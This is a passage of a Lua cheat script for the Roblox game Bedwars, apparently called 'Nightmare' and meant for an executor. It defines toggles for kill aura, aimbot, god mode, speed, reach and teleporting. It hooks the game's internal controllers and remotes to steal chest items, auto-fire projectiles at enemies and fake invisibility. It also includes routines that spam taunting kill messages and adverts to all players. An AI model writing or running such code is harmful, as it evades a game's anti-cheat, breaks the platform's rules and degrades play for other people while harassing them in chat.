  724. KillAura = {Value = true, Range = 20, CustomAnimation = true, ToolCheck = false, Strafe = false, KeyBind = "..."},
  725. AntiVoid = {Value = true, Transparency = 0.65, KeyBind = "..."},
  726. AutoBank = {Value = true, Range = 30, KeyBind = "..."},
  727. HighJump = {Value = false, KeyBind = "..."},
  728. PlayerTp = {Value = true, KeyBind = "..."},
  729. AutoKit = {Value = true, KeyBind = "..."},
  730. AutoBuy = {Value = true, KeyBind = "..."},
  731. GodMode = {Value = true, KeyBind = "..."},
  732. Sprint = {Value = true, KeyBind = "..."},
  733. NoFall = {Value = true, KeyBind = "..."},
  734. Aimbot = {Value = true, KeyBind = "...", ToolCheck = false},
  735. Speed = {Value = true, Speed = 23, KeyBind = "..."},
  736. Reach = {Value = true, KeyBind = "..."},
  737. Nuker = {Value = true, Range = 30, BreakOres = true, KeyBind = "..."},
  738. BedTp = {Value = true, KeyBind = "..."},
  739. MobileGui = {Value = false, KeyBind = "..."},
  740. targetHud = {Value = false, KeyBind = "..."},
  741. Sigma = {Value = true, KeyBind = "..."},
  742. Cape = {Value = true, KeyBind = "..."},
  743. Fly = {Value = false, KeyBind = "..."},
  744. Esp = {Value = true, KeyBind = "..."},
  745. Fov = {Value = false, Fov = 100, KeyBind = "..."}
  746. }
  747.  
  748. if not (writefile or makefolder or readfile or isfile) then
  749. CreateNotification(5, "Your executor does not support saving.")
  750.  
  751. Loaded = true
  752. end
  753.  
  754. if writefile and makefolder and readfile and isfile then
  755. makefolder("NightmareBedwarsConfigSaving")
  756.  
  757. local JSONEncodeSettings = HttpService:JSONEncode(Settings)
  758.  
  759. writefile("NightmareBedwarsConfigSaving/" .. SaveFileName, JSONEncodeSettings)
  760. end
  761. end
  762.  
  763. local function CheckFirstTime()
  764. if isfile("NightmareBedwarsConfigSaving/" .. SaveFileName) then
  765. return false
  766. end
  767.  
  768. if not isfile("NightmareBedwarsConfigSaving/" .. SaveFileName) then
  769. return true
  770. end
  771. end
  772.  
  773. function SaveSettings()
  774. local JSONEncodeSettings = HttpService:JSONEncode(Settings)
  775.  
  776. writefile("NightmareBedwarsConfigSaving/" .. SaveFileName, JSONEncodeSettings)
  777. end
  778.  
  779. function LoadSettings()
  780. if isfile("NightmareBedwarsConfigSaving/" .. SaveFileName) then
  781. Settings = HttpService:JSONDecode(readfile("NightmareBedwarsConfigSaving/" .. SaveFileName))
  782.  
  783. Loaded = true
  784. end
  785. end
  786.  
  787. task.spawn(function()
  788. local FirstTime = CheckFirstTime()
  789.  
  790. if FirstTime == true then
  791. CreateSettingsFile()
  792. end
  793. end)
  794.  
  795. task.spawn(function()
  796. if isfile then
  797. LoadSettings()
  798. end
  799. end)
  800.  
  801. task.spawn(function()
  802. repeat
  803. task.wait(1)
  804.  
  805. if writefile then
  806. SaveSettings()
  807. end
  808. until not game
  809. end)
  810.  
  811. repeat task.wait() until Loaded == true
  812.  
  813. local KnitClient = debug.getupvalue(require(LocalPlayer.PlayerScripts.TS.knit).setup, 6)
  814. local Client = require(ReplicatedStorage.TS.remotes).default.Client
  815.  
  816. local Camera = WorkSpace.CurrentCamera
  817. local OrigC0 = ReplicatedStorage.Assets.Viewmodel.RightHand.RightWrist.C0
  818.  
  819. local BlossomWindTunnelCreateBodyForceRemote = ReplicatedStorage:WaitForChild("rbxts_include"):WaitForChild("node_modules"):WaitForChild("@rbxts"):WaitForChild("net"):WaitForChild("out"):WaitForChild("_NetManaged"):WaitForChild("BlossomWindTunnelCreateBodyForce")
  820. local WandBubbleProtectionRemote = ReplicatedStorage:WaitForChild("rbxts_include"):WaitForChild("node_modules"):WaitForChild("@rbxts"):WaitForChild("net"):WaitForChild("out"):WaitForChild("_NetManaged"):WaitForChild("WandBubbleProtection")local HannahPromptTriggerRemote = Client:Get("HannahPromptTrigger")
  821. local TrinitySetAngelTypeRemote = ReplicatedStorage:WaitForChild("rbxts_include"):WaitForChild("node_modules"):WaitForChild("@rbxts"):WaitForChild("net"):WaitForChild("out"):WaitForChild("_NetManaged"):WaitForChild("SetAngelType")
  822. local SetObservedChestRemote = ReplicatedStorage:WaitForChild("rbxts_include"):WaitForChild("node_modules"):WaitForChild("@rbxts"):WaitForChild("net"):WaitForChild("out"):WaitForChild("_NetManaged"):WaitForChild("Inventory/SetObservedChest")
  823. local WandHealPlayerRemote = ReplicatedStorage:WaitForChild("rbxts_include"):WaitForChild("node_modules"):WaitForChild("@rbxts"):WaitForChild("net"):WaitForChild("out"):WaitForChild("_NetManaged"):WaitForChild("WandHealPlayer")
  824. local ResetCharacterRemote = ReplicatedStorage:WaitForChild("rbxts_include"):WaitForChild("node_modules"):WaitForChild("@rbxts"):WaitForChild("net"):WaitForChild("out"):WaitForChild("_NetManaged"):WaitForChild("ResetCharacter")
  825. local ChestGiveItemRemote = ReplicatedStorage:WaitForChild("rbxts_include"):WaitForChild("node_modules"):WaitForChild("@rbxts"):WaitForChild("net"):WaitForChild("out"):WaitForChild("_NetManaged"):WaitForChild("Inventory/ChestGiveItem")
  826. local ChestGetItemRemote = ReplicatedStorage:WaitForChild("rbxts_include"):WaitForChild("node_modules"):WaitForChild("@rbxts"):WaitForChild("net"):WaitForChild("out"):WaitForChild("_NetManaged"):WaitForChild("Inventory/ChestGetItem")
  827. local PurchaseItemRemote = ReplicatedStorage:WaitForChild("rbxts_include"):WaitForChild("node_modules"):WaitForChild("@rbxts"):WaitForChild("net"):WaitForChild("out"):WaitForChild("_NetManaged"):WaitForChild("BedwarsPurchaseItem")
  828. local BlockPlacingRemote = ReplicatedStorage:WaitForChild("rbxts_include"):WaitForChild("node_modules"):WaitForChild("@easy-games"):WaitForChild("block-engine"):WaitForChild("node_modules"):WaitForChild("@rbxts"):WaitForChild("net"):WaitForChild("out"):WaitForChild("_NetManaged"):WaitForChild("PlaceBlock")
  829. local ClientHandlerStore = require(LocalPlayer.PlayerScripts.TS.ui.store).ClientStore
  830. local SendMessageRemote = ReplicatedStorage:WaitForChild("DefaultChatSystemChatEvents"):WaitForChild("SayMessageRequest")
  831. local DamageBlockRemote = ReplicatedStorage:WaitForChild("rbxts_include"):WaitForChild("node_modules"):WaitForChild("@easy-games"):WaitForChild("block-engine"):WaitForChild("node_modules"):WaitForChild("@rbxts"):WaitForChild("net"):WaitForChild("out"):WaitForChild("_NetManaged"):WaitForChild("DamageBlock")
  832. local ProjectileRemote = ReplicatedStorage:WaitForChild("rbxts_include"):WaitForChild("node_modules"):WaitForChild("@rbxts"):WaitForChild("net"):WaitForChild("out"):WaitForChild("_NetManaged"):WaitForChild("ProjectileFire")
  833. local ElkSummonRemote = ReplicatedStorage:WaitForChild("events-@easy-games/game-core:shared/[email protected]"):WaitForChild("useAbility")
  834. local PlayAgainRemote = ReplicatedStorage:WaitForChild("events-@easy-games/lobby:shared/event/[email protected]")
  835. local EquipItemRemote = ReplicatedStorage:WaitForChild("rbxts_include"):WaitForChild("node_modules"):WaitForChild("@rbxts"):WaitForChild("net"):WaitForChild("out"):WaitForChild("_NetManaged"):WaitForChild("SetInvItem")
  836. local GroundHitRemote = ReplicatedStorage:WaitForChild("rbxts_include"):WaitForChild("node_modules"):WaitForChild("@rbxts"):WaitForChild("net"):WaitForChild("out"):WaitForChild("_NetManaged"):WaitForChild("GroundHit")
  837. local DamageIndicator = KnitClient.Controllers.DamageIndicatorController.spawnDamageIndicator
  838. local SwordController = KnitClient.Controllers.SwordController
  839. local ProjectileMeta = require(ReplicatedStorage.TS.projectile["projectile-meta"]).ProjectileMeta
  840. local SwordHitRemote = ReplicatedStorage:WaitForChild("rbxts_include"):WaitForChild("node_modules"):WaitForChild("@rbxts"):WaitForChild("net"):WaitForChild("out"):WaitForChild("_NetManaged"):WaitForChild("SwordHit")
  841. local CombatConstant = require(ReplicatedStorage.TS.combat["combat-constant"]).CombatConstant
  842. local PlacementCPS = require(game.ReplicatedStorage.TS["shared-constants"]).CpsConstants
  843. local ReportRemote = ReplicatedStorage:WaitForChild("rbxts_include"):WaitForChild("node_modules"):WaitForChild("@rbxts"):WaitForChild("net"):WaitForChild("out"):WaitForChild("_NetManaged"):WaitForChild("ReportPlayer")
  844. local MinerRemote = ReplicatedStorage:WaitForChild("rbxts_include"):WaitForChild("node_modules"):WaitForChild("@rbxts"):WaitForChild("net"):WaitForChild("out"):WaitForChild("_NetManaged"):WaitForChild("DestroyPetrifiedPlayer")
  845.  
  846. local KnockBackTable = debug.getupvalue(require(ReplicatedStorage.TS.damage["knockback-util"]).KnockbackUtil.calculateKnockbackVelocity, 1)
  847. local ItemTable = debug.getupvalue(require(ReplicatedStorage.TS.item["item-meta"]).getItemMeta, 1)
  848.  
  849. local BlockPlacementController = KnitClient.Controllers.BlockPlacementController
  850. local ZephyrController = KnitClient.Controllers.WindWalkerController
  851. local SprintController = KnitClient.Controllers.SprintController
  852. local FovController = KnitClient.Controllers.FovController
  853.  
  854. local InventoryUtil = require(ReplicatedStorage.TS.inventory["inventory-util"]).InventoryUtil
  855. local ItemTable = debug.getupvalue(require(ReplicatedStorage.TS.item["item-meta"]).getItemMeta, 1)
  856.  
  857. local KillAuraAnimationCooldown = true
  858. local AnticheatDisabled = false
  859. local InfiniteFlyValue = false
  860. local FlyBodyVelocity = nil
  861. local SpoofedCamera = nil
  862. local AntiVoidPart = nil
  863. local LoopWaitTime = 0
  864. local DamageBoost = false
  865. local StartLevel = nil
  866. local ZephyrOrb = 0
  867. local FlyValue = false
  868. local FlyDown = false
  869. local FlyUp = false
  870.  
  871. local Fps = 0
  872.  
  873. local Animations = {
  874. KillAura = {
  875. {CFrame = CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(220), math.rad(100), math.rad(100)),Time = 0.25},
  876. {CFrame = CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), Time = 0.25}
  877. },
  878.  
  879. Sigma = {
  880. {CFrame = CFrame.new(0.2, 0, -1.3) * CFrame.Angles(math.rad(111), math.rad(111), math.rad(130)), Time = 0.16},
  881. {CFrame = CFrame.new(0, -0.2, -1.7) * CFrame.Angles(math.rad(30), math.rad(111), math.rad(190)), Time = 0.16},
  882. },
  883.  
  884. Neutral = {
  885. {CFrame = CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), Time = 0.15},
  886. }
  887. }
  888.  
  889. local function CollectEnderChestItems()
  890. local EnderChest = ReplicatedStorage.Inventories:FindFirstChild(LocalPlayer.Name .. "_personal")
  891.  
  892. for i, v in next, EnderChest:GetChildren() do
  893. if v:IsA("Accessory") and (v.Name == "emerald" or v.Name == "iron" or v.Name == "diamond" or v.Name == "gold") then
  894. ChestGetItemRemote:InvokeServer(EnderChest, v)
  895. end
  896. end
  897. end
  898.  
  899. local function SecureEnderChestItems()
  900. local EnderChest = ReplicatedStorage.Inventories:FindFirstChild(LocalPlayer.Name .. "_personal")
  901. local Inventory = ReplicatedStorage.Inventories:FindFirstChild(LocalPlayer.Name)
  902.  
  903. if Inventory then
  904. for i, v in next, Inventory:GetChildren() do
  905. if v:IsA("Accessory") and (v.Name == "emerald" or v.Name == "iron" or v.Name == "diamond" or v.Name == "gold") then
  906. ChestGiveItemRemote:InvokeServer(EnderChest, v)
  907. end
  908. end
  909. end
  910. end
  911.  
  912. local function TweenToNearestPlayer()
  913. if IsAlive(LocalPlayer) then
  914. local NearestPlayer = FindNearestPlayer()
  915.  
  916. if NearestPlayer then
  917. local TweenInformation = TweenInfo.new(0.65, Enum.EasingStyle.Linear, Enum.EasingDirection.In, 0, false, 0)
  918. local PlayerTpTween = TweenService:Create(LocalPlayer.Character.PrimaryPart, TweenInformation, {CFrame = NearestPlayer.Character.PrimaryPart.CFrame + Vector3.new(0, 2, 0)})
  919.  
  920. PlayerTpTween:Play()
  921. end
  922. end
  923. end
  924.  
  925. local function FindPetrifiedPlayer()
  926. for i, v in next, WorkSpace:GetChildren() do
  927. if v:GetAttribute("PetrifyId") then
  928. return v
  929. end
  930. end
  931. end
  932.  
  933. local function CreateSpoofedCamera()
  934. SpoofedCamera = Instance.new("Part", WorkSpace)
  935. SpoofedCamera.Anchored = true
  936. SpoofedCamera.Transparency = 1
  937. SpoofedCamera.Position = LocalPlayer.Character.Head.Position
  938.  
  939. return SpoofedCamera
  940. end
  941.  
  942. function FindNearestPlayer(MaxDistance)
  943. local NearestPlayerDistance = MaxDistance or math.huge
  944. local NearestPlayer
  945.  
  946. for i, v in next, PlayerService:GetPlayers() do
  947. if IsAlive(v) and v ~= LocalPlayer and IsAlive(LocalPlayer) and v.Team ~= LocalPlayer.Team then
  948. local Distance = (v.Character.PrimaryPart.Position - LocalPlayer.Character.PrimaryPart.Position).Magnitude
  949.  
  950. if Distance < NearestPlayerDistance then
  951. NearestPlayerDistance = Distance
  952. NearestPlayer = v
  953. end
  954. end
  955. end
  956.  
  957. return NearestPlayer, NearestPlayerDistance
  958. end
  959.  
  960. local function FindNearestEntity(MaxDistance)
  961. local MaxDistance = MaxDistance or math.huge
  962.  
  963. local NearestEntityDistance = MaxDistance
  964. local NearestEntity = nil
  965. local IsNotAPlayer = true
  966.  
  967. task.spawn(function()
  968. for i, v in next, CollectionService:GetTagged("DiamondGuardian") do
  969. if v.PrimaryPart then
  970. local Distance = (v.PrimaryPart.Position - LocalPlayer.Character.PrimaryPart.Position).Magnitude
  971.  
  972. if Distance < NearestEntityDistance and Distance <= MaxDistance then
  973. NearestEntityDistance = Distance
  974. NearestEntity = v
  975. end
  976. end
  977. end
  978. end)
  979.  
  980. task.spawn(function()
  981. for i, v in next, CollectionService:GetTagged("GolemBoss") do
  982. if v.PrimaryPart then
  983. local Distance = (v.PrimaryPart.Position - LocalPlayer.Character.PrimaryPart.Position).Magnitude
  984.  
  985. if Distance < NearestEntityDistance and Distance <= MaxDistance then
  986. NearestEntityDistance = Distance
  987. NearestEntity = v
  988. end
  989. end
  990. end
  991. end)
  992.  
  993. task.spawn(function()
  994. for i, v in next, CollectionService:GetTagged("Monster") do
  995. if v.PrimaryPart then
  996. local Distance = (v.PrimaryPart.Position - LocalPlayer.Character.PrimaryPart.Position).Magnitude
  997.  
  998. if Distance < NearestEntityDistance and Distance <= MaxDistance then
  999. NearestEntityDistance = Distance
  1000. NearestEntity = v
  1001. end
  1002. end
  1003. end
  1004. end)
  1005.  
  1006. task.spawn(function()
  1007. for i, v in next, PlayerService:GetPlayers() do
  1008. if IsAlive(v) and v ~= LocalPlayer and v.Team ~= LocalPlayer.Team then
  1009. local Distance = (v.Character.PrimaryPart.Position - LocalPlayer.Character.PrimaryPart.Position).Magnitude
  1010.  
  1011. if Distance < NearestEntityDistance and Distance <= MaxDistance then
  1012. NearestEntityDistance = Distance
  1013. NearestEntity= v
  1014. IsNotAPlayer = false
  1015. end
  1016. end
  1017. end
  1018. end)
  1019.  
  1020. if NearestEntity then
  1021. return (IsNotAPlayer and NearestEntity or NearestEntity.Character), NearestEntityDistance
  1022. end
  1023.  
  1024. return nil
  1025. end
  1026.  
  1027. local function TweenToNearestBed()
  1028. if IsAlive(LocalPlayer) then
  1029. local NearestBed = FindNearestBed()
  1030.  
  1031. if NearestBed then
  1032. local TweenInformation = TweenInfo.new(0.65, Enum.EasingStyle.Linear, Enum.EasingDirection.In, 0, false, 0)
  1033. local BedTpTween = TweenService:Create(LocalPlayer.Character.PrimaryPart, TweenInformation, {CFrame = NearestBed.CFrame + Vector3.new(0, 10, 0)})
  1034.  
  1035. BedTpTween:Play()
  1036. end
  1037. end
  1038. end
  1039.  
  1040. local function GetServerPosition(Position)
  1041. local X = math.round(Position.X / 3)
  1042. local Y = math.round(Position.Y / 3)
  1043. local Z = math.round(Position.Z / 3)
  1044.  
  1045. return Vector3.new(X, Y, Z)
  1046. end
  1047.  
  1048. local function FindNearestChest(MaxDistance)
  1049. local NearestChest = nil
  1050. local MaxDistance = MaxDistance or math.huge
  1051.  
  1052. for i, v in next, CollectionService:GetTagged("chest") do
  1053. if v:FindFirstChild("ChestFolderValue") then
  1054. local Distance = (v.Position - LocalPlayer.Character.PrimaryPart.Position).Magnitude
  1055.  
  1056. if Distance < MaxDistance then
  1057. NearestChest = v
  1058. MaxDistance = Distance
  1059. end
  1060. end
  1061. end
  1062.  
  1063. return NearestChest:FindFirstChild("ChestFolderValue")
  1064. end
  1065.  
  1066. function ShootProjectile(Item, Projectile)
  1067. local NearestPlayer = FindNearestPlayer()
  1068.  
  1069. if NearestPlayer then
  1070. local Args = {
  1071. [1] = Item,
  1072. [2] = Projectile,
  1073. [3] = Projectile,
  1074. [4] = NearestPlayer.Character.PrimaryPart.Position,
  1075. [5] = NearestPlayer.Character.PrimaryPart.Position,
  1076. [6] = Vector3.new(0, -25, 0),
  1077. [7] = HttpService:GenerateGUID(true),
  1078. [8] = {["drawDurationSeconds"] = 0.96, ["shotId"] = HttpService:GenerateGUID(false)},
  1079. [9] = (WorkSpace:GetServerTimeNow() - 0.11)
  1080. }
  1081.  
  1082. ProjectileRemote:InvokeServer(unpack(Args))
  1083. end
  1084. end
  1085.  
  1086. local function SendChatMessage(Message)
  1087. local Arguments = {
  1088. [1] = Message,
  1089. [2] = "All"
  1090. }
  1091.  
  1092. SendMessageRemote:FireServer(unpack(Arguments))
  1093. end
  1094.  
  1095. function FindNearestBed(MaxDistance)
  1096. local MaxDistance = MaxDistance or math.huge
  1097. local NearestBed = nil
  1098.  
  1099. for i, v in next, WorkSpace:GetDescendants() do
  1100. if v.Name:lower() == "bed" and v:FindFirstChild("Covers") and v:FindFirstChild("Covers").BrickColor ~= LocalPlayer.Team.TeamColor then
  1101. local Distance = (v.Position - LocalPlayer.Character.PrimaryPart.Position).Magnitude
  1102.  
  1103. if Distance < MaxDistance then
  1104. MaxDistance = Distance
  1105. NearestBed = v
  1106. end
  1107. end
  1108. end
  1109.  
  1110. return NearestBed
  1111. end
  1112.  
  1113. local function FindNearestNpc(MaxDistance)
  1114. local MaxDistance = MaxDistance or math.huge
  1115. local NearestNpc = nil
  1116.  
  1117. for i, v in next, CollectionService:GetTagged("BedwarsItemShop") do
  1118. local Distance = (v.Position - LocalPlayer.Character.PrimaryPart.Position).Magnitude
  1119.  
  1120. if Distance < MaxDistance then
  1121. MaxDistance = Distance
  1122. NearestNpc = v
  1123. end
  1124. end
  1125.  
  1126. return NearestNpc
  1127. end
  1128.  
  1129. function FindNearestOre(MaxDistance)
  1130. local MinDistance = MaxDistance or math.huge
  1131. local NearestOre = nil
  1132.  
  1133. for i, v in next, CollectionService:GetTagged("block") do
  1134. if v.Name == "iron_ore" then
  1135. local Distance = (v.Position - LocalPlayer.Character.PrimaryPart.Position).Magnitude
  1136.  
  1137. if Distance < MinDistance then
  1138. MinDistance = Distance
  1139. NearestOre = v
  1140. end
  1141. end
  1142. end
  1143.  
  1144. return NearestOre
  1145. end
  1146.  
  1147. function TouchingGround()
  1148. if IsAlive(LocalPlayer) then
  1149. local Parameters = RaycastParams.new()
  1150. Parameters.FilterType = Enum.RaycastFilterType.Include
  1151. Parameters.FilterDescendantsInstances = {CollectionService:GetTagged("block")}
  1152.  
  1153. local IsTouchingFloor = false
  1154.  
  1155. for x = 1, 1 do
  1156. local Origin = LocalPlayer.Character.PrimaryPart.Position + Vector3.new(x, 0, 0)
  1157.  
  1158. local Raycast = WorkSpace:Raycast(Origin, Vector3.new(0, -2.5, 0), Parameters)
  1159. if Raycast and Raycast.Instance then
  1160. IsTouchingFloor = true
  1161. end
  1162. end
  1163.  
  1164. return IsTouchingFloor
  1165. end
  1166. end
  1167.  
  1168. local function PlayAnimation(Animation)
  1169. for i, v in next, Animation do
  1170. local TweenInformation = TweenInfo.new(v.Time)
  1171. local AnimationTween = TweenService:Create(Camera.Viewmodel.RightHand.RightWrist, TweenInformation, {C0 = OrigC0 * v.CFrame})
  1172.  
  1173. AnimationTween:Play()
  1174.  
  1175. task.wait(v.Time - 0.01)
  1176. end
  1177. end
  1178.  
  1179. local function SetCollisions(Value)
  1180. if Value == true then
  1181. if IsAlive(LocalPlayer) then
  1182. for i, v in next, (LocalPlayer.Character:GetDescendants()) do
  1183. if v:IsA("BasePart") then
  1184. v.CanCollide = true
  1185. v.CanTouch = true
  1186. end
  1187. end
  1188. end
  1189. end
  1190.  
  1191. if Value == false then
  1192. for i, v in next, (LocalPlayer.Character:GetDescendants()) do
  1193. if v:IsA("BasePart") and v ~= LocalPlayer.Character.PrimaryPart and v.CanCollide then
  1194. v.CanCollide = false
  1195. v.CanTouch = false
  1196. end
  1197. end
  1198. end
  1199. end
  1200.  
  1201. local function GetMatchState()
  1202. return ClientHandlerStore:getState().Game.matchState
  1203. end
  1204.  
  1205. local function HashFunction(Value)
  1206. return {value = Value}
  1207. end
  1208.  
  1209. local function DecimalRound(Number, DigitsPast0)
  1210. DigitsPast0 = math.pow(10, DigitsPast0 or 0)
  1211.  
  1212. Number = Number * DigitsPast0
  1213.  
  1214. if Number >= 0 then
  1215. Number = math.floor(Number + 0.5)
  1216. end
  1217.  
  1218. if Number < 0 then
  1219. Number = math.ceil(Number - 0.5)
  1220. end
  1221.  
  1222. return Number / DigitsPast0
  1223. end
  1224.  
  1225. local function GetQueueType()
  1226. local State = ClientHandlerStore:getState()
  1227.  
  1228. return State.Game.queueType or "bedwars_test"
  1229. end
  1230.  
  1231. function KillHumanoid(Time)
  1232. local Time = Time or 0
  1233.  
  1234. if LocalPlayer:FindFirstChild("leaderstats") and LocalPlayer.leaderstats:FindFirstChild("Bed") then
  1235. if LocalPlayer.leaderstats.Bed.Value == "✅" then
  1236. LocalPlayer.Character.Humanoid:ChangeState(Enum.HumanoidStateType.Dead)
  1237.  
  1238. ResetCharacterRemote:FireServer()
  1239. end
  1240. end
  1241. end
  1242.  
  1243. local function GetInventory(Player)
  1244. local Player = Player or LocalPlayer
  1245.  
  1246. local Inventory = InventoryUtil.getInventory(Player).items
  1247.  
  1248. return Inventory
  1249. end
  1250.  
  1251. local function PurchaseItem(Arguments)
  1252. PurchaseItemRemote:InvokeServer(unpack(Arguments))
  1253. end
  1254.  
  1255. local function Invisibility()
  1256. repeat task.wait() until GetMatchState() ~= 0 and IsAlive(LocalPlayer)
  1257.  
  1258. task.wait(0.3)
  1259.  
  1260. local Animation = Instance.new("Animation")
  1261. local Id = 11335949902
  1262.  
  1263. Animation.AnimationId = "rbxassetid://".. Id
  1264.  
  1265. local PlayerAnimation = LocalPlayer.Character.Humanoid.Animator:LoadAnimation(Animation)
  1266.  
  1267. if PlayerAnimation then
  1268. LocalPlayer.Character.Humanoid.CameraOffset = Vector3.new(0, 3 / -2, 0)
  1269. LocalPlayer.Character.PrimaryPart.Size = Vector3.new(2, 3, 1.1)
  1270.  
  1271. PlayerAnimation.Priority = Enum.AnimationPriority.Action4
  1272. PlayerAnimation.Looped = false
  1273.  
  1274. LocalPlayer.Character.Humanoid.CameraOffset = Vector3.new(0, 3 / -2, 0)
  1275. LocalPlayer.Character.PrimaryPart.Transparency = 0.6
  1276. LocalPlayer.Character.PrimaryPart.Size = Vector3.new(2, 3, 1.1)
  1277.  
  1278. SetCollisions(false)
  1279.  
  1280. task.spawn(function()
  1281. repeat
  1282. task.wait()
  1283.  
  1284. PlayerAnimation:Play(1 / 999999, 999999, 1 / 999999)
  1285. until Settings.Invisible.Value == false or not IsAlive(LocalPlayer)
  1286.  
  1287. if PlayerAnimation then
  1288. PlayerAnimation:Destroy()
  1289. end
  1290.  
  1291. if Animation then
  1292. Animation:Destroy()
  1293. end
  1294.  
  1295. if IsAlive(LocalPlayer) then
  1296. SetCollisions(true)
  1297.  
  1298. LocalPlayer.Character.PrimaryPart.Size = Vector3.new(1.9, 2, 1)
  1299. LocalPlayer.Character.PrimaryPart.Transparency = 1
  1300. LocalPlayer.Character.Humanoid.CameraOffset = Vector3.new(0, 0, 0)
  1301. end
  1302. end)
  1303. end
  1304. end
  1305.  
  1306. local function SwitchItem(Item)
  1307. if LocalPlayer.Character.HandInvItem.Value ~= Item then
  1308. local InventoryItem = ReplicatedStorage.Inventories:FindFirstChild(LocalPlayer.Name):FindFirstChild(Item)
  1309.  
  1310. EquipItemRemote:InvokeServer({hand = InventoryItem})
  1311. end
  1312. end
  1313.  
  1314. local function PlaceBlock(Position, Block)
  1315. BlockPlacingRemote:InvokeServer({["blockType"] = Block, ["blockData"] = 0,["position"] = Position})
  1316. end
  1317.  
  1318. local function StealChest(NearestChest)
  1319. NearestChest = NearestChest and NearestChest.Value or nil
  1320.  
  1321. local Chestitems = NearestChest and NearestChest:GetChildren()
  1322.  
  1323. if #Chestitems > 1 then
  1324. SetObservedChestRemote:FireServer("BlockChest")
  1325.  
  1326. for i2, v2 in next, Chestitems do
  1327. if v2:IsA("Accessory") then
  1328. task.spawn(function()
  1329. ChestGetItemRemote:InvokeServer(NearestChest, v2)
  1330. end)
  1331. end
  1332. end
  1333.  
  1334. task.wait(0.001)
  1335.  
  1336. SetObservedChestRemote:FireServer(nil)
  1337. end
  1338. end
  1339.  
  1340. local function CreateCape(DecalId)
  1341. local Cape = Instance.new("Part")
  1342.  
  1343. Cape.Parent = LocalPlayer.Character
  1344. Cape.Name = "Cape"
  1345. Cape.Size = Vector3.new(0.2, 0.2, 0.08)
  1346. Cape.Material = Enum.Material.SmoothPlastic
  1347. Cape.Color = Color3.new(0.105882, 0.105882, 0.105882)
  1348. Cape.CanCollide = false
  1349.  
  1350. local BlockMesh = Instance.new("BlockMesh")
  1351.  
  1352. BlockMesh.Parent = Cape
  1353. BlockMesh.Name = "Mesh"
  1354. BlockMesh.Scale = Vector3.new(9, 17.5, 0.5)
  1355. BlockMesh.VertexColor = Vector3.new(1, 1, 1)
  1356.  
  1357. local Motor = Instance.new("Motor")
  1358.  
  1359. Motor.Parent = Cape
  1360. Motor.Name = "Motor"
  1361. Motor.C0 = CFrame.new(0, 2, 0, -4.37113883e-08, 0, 1, 0, 1, 0, -1, 0, -4.37113883e-08)
  1362. Motor.C1 = CFrame.new(0, 1, 0.449999988, -4.37113883e-08, 0, 1, 0, 1, 0, -1, 0, -4.37113883e-08)
  1363. Motor.Part1 = LocalPlayer.Character.UpperTorso
  1364. Motor.Part0 = Cape
  1365. Motor.CurrentAngle = -0.16208772361278534
  1366. Motor.DesiredAngle = -0.1002269834280014
  1367.  
  1368. local Decal = Instance.new("Decal")
  1369.  
  1370. Decal.Parent = Cape
  1371. Decal.Name = "Decal"
  1372. Decal.Face = Enum.NormalId.Back
  1373. Decal.Texture = DecalId
  1374. end
  1375.  
  1376. function SetCamera(Camera)
  1377. WorkSpace.CurrentCamera.CameraSubject = Camera
  1378. end
  1379.  
  1380. local function AutoToxic(Player)
  1381. local Randomized = math.random(0, 5)
  1382. local KillMessage = ""
  1383.  
  1384. if Randomized == 0 then
  1385. KillMessage = "L" .. Player.Name .. " | Nightmare on top"
  1386. end
  1387.  
  1388. if Randomized ~= 0 then
  1389. KillMessage = "L" .. Player.Name .. " | Nightmare on top"
  1390. end
  1391.  
  1392. if Randomized == 2 then
  1393. KillMessage = "L" .. Player.Name .. " | Nightmare on top"
  1394. end
  1395.  
  1396. if Randomized == 3 then
  1397. KillMessage = "L" .. Player.Name .. " | Nightmare on top"
  1398. end
  1399.  
  1400. if Randomized == 4 then
  1401. KillMessage = "L" .. Player.Name .. " | Nightmare on top"
  1402. end
  1403.  
  1404. if Randomized == 5 then
  1405. KillMessage = "L" .. Player.Name .. " | Nightmare on top"
  1406. end
  1407.  
  1408. SendChatMessage(KillMessage)
  1409. end
  1410.  
  1411. local function GetSword()
  1412. local HighestDamage, Sword = -math.huge, nil
  1413.  
  1414. for i, v in next, GetInventory(LocalPlayer) do
  1415. local SwordMetaGame = ItemTable[v.itemType].sword
  1416.  
  1417. if SwordMetaGame then
  1418. local SwordDamage = SwordMetaGame.damage / SwordMetaGame.attackSpeed
  1419.  
  1420. if SwordDamage > HighestDamage then
  1421. HighestDamage = SwordDamage
  1422. Sword = v
  1423. end
  1424. end
  1425. end
  1426.  
  1427. return Sword
  1428. end
  1429.  
  1430. function IsMoving()
  1431. local Position = LocalPlayer.Character.PrimaryPart.Position
  1432.  
  1433. task.wait(0.001)
  1434.  
  1435. if IsAlive(LocalPlayer) and LocalPlayer.Character.PrimaryPart.Position ~= Position then
  1436. Position = LocalPlayer.Character.PrimaryPart.Position
  1437.  
  1438. return true
  1439. end
  1440.  
  1441. if IsAlive(LocalPlayer) and LocalPlayer.Character.PrimaryPart.Position == Position then
  1442. Position = LocalPlayer.Character.PrimaryPart.Position
  1443.  
  1444. return false
  1445. end
  1446. end
  1447.  
  1448. local function ChatSpam()
  1449. local Randomized = math.random(0, 5)
  1450. local KillMessage = ""
  1451.  
  1452. if Randomized == 0 then
  1453. KillMessage = "Nightmare does more updates than Bedwars 💀. | Nightmare Config On TOP"
  1454. end
  1455.  
  1456. if Randomized ~= 0 then
  1457. KillMessage = "EZ KILL BRO. | Nightmare Config On TOP"
  1458. end
  1459.  
  1460. if Randomized == 2 then
  1461. KillMessage = "Switch to Nightmare, ez wins. | Nightmare Config On TOP"
  1462. end
  1463.  
  1464. if Randomized == 3 then
  1465. KillMessage = "I am not cheating, my gaming chair is. | Nightmare Config On TOP"
  1466. end
  1467.  
  1468. if Randomized == 4 then
  1469. KillMessage = "3 years now, and the anticheat is still the same. | Nightmare Config On TOP"
  1470. end
  1471.  
  1472. if Randomized == 5 then
  1473. KillMessage = "Kids in bedwars just keep getting worst. | Nightmare Config On TOP"
  1474. end
  1475.  
  1476. SendChatMessage(KillMessage)
  1477. end
  1478.  
  1479. local function AutoBank()
  1480. local NearestNpc = FindNearestNpc(Settings.AutoBank.Range)
  1481.  
  1482. if NearestNpc then
  1483. CollectEnderChestItems()
  1484. end
  1485.  
  1486. if not NearestNpc then
  1487. SecureEnderChestItems()
  1488. end
